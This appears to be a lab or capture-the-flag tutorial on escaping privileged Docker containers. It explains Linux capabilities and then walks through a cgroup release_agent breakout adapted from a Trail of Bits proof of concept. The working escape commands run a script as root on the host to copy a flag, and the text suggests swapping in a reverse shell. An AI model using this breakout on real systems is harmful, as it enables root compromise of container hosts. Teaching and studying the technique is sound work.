Vulnerability 1: Privileged Containers (Capabilities)
Last updated
Last updated
At its fundamental, Linux capabilities are root permissions given to processes or executables within the Linux kernel. These privileges allow for the granular assignment of privileges - rather than just assigning them all.
These capabilities determine what permissions a Docker container has to the operating system. Docker containers can run in two modes:
User (Normal) mode
Privileged mode
In the diagram below, we can see the two different modes in action and the level of access each mode has to the host:
Note how containers #1 and #2 are running in "user/normal" mode, whereas container #3 is running in "privileged" mode. Containers in "user" mode interact with the operating system through the Docker Engine. Privileged containers, however, do not do this. Instead, they bypass the Docker Engine and directly communicate with the operating system.
Well, if a container is running with privileged access to the operating system, we can effectively execute commands as root on the host.
We can use a utility such as capsh
which comes with the libcap2-bin package to list the capabilities our container has: capsh --print
. Capabilities are used on Linux to assign specific permissions to a process. Listing the capabilities of the container is a good way to determine the syscalls that can be made and potential mechanisms for exploitation.
Some capabilities of interest have been provided in the terminal snippet below.
In the example exploit below, we are going to use the mount syscall (as allowed by the container's capabilities) to mount the host's control groups into the container.
The code snippet below is based upon (but a modified) version of the Proof of Concept (PoC) created by Trailofbits, which details the inner workings of this exploit well.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
We can place whatever we like in the /exploit file (step 5). This could be, for example, a reverse shell to our attack machine.
We need to create a group to use the Linux kernel to write and execute our exploit. The kernel uses "cgroups" to manage processes on the operating system. Since we can manage "cgroups" as root on the host, we'll mount this to "/tmp/cgrp" on the container.
For our exploit to execute, we'll need to tell the kernel to run our code. By adding "1" to "/tmp/cgrp/x/notify_on_release", we're telling the kernel to execute something once the "cgroup" finishes. (Paul Menage., 2004).
We find out where the container's files are stored on the host and store it as a variable.
We then echo the location of the container's files into our "/exploit" and then ultimately to the "release_agent" which is what will be executed by the "cgroup" once it is released.
Let's turn our exploit into a shell on the host
Execute a command to echo the host flag into a file named "flag.txt" in the container once "/exploit" is executed.
Make our exploit executable!
We create a process and store that into "/tmp/cgrp/x/cgroup.procs". When the processs is released, the contents will be executed.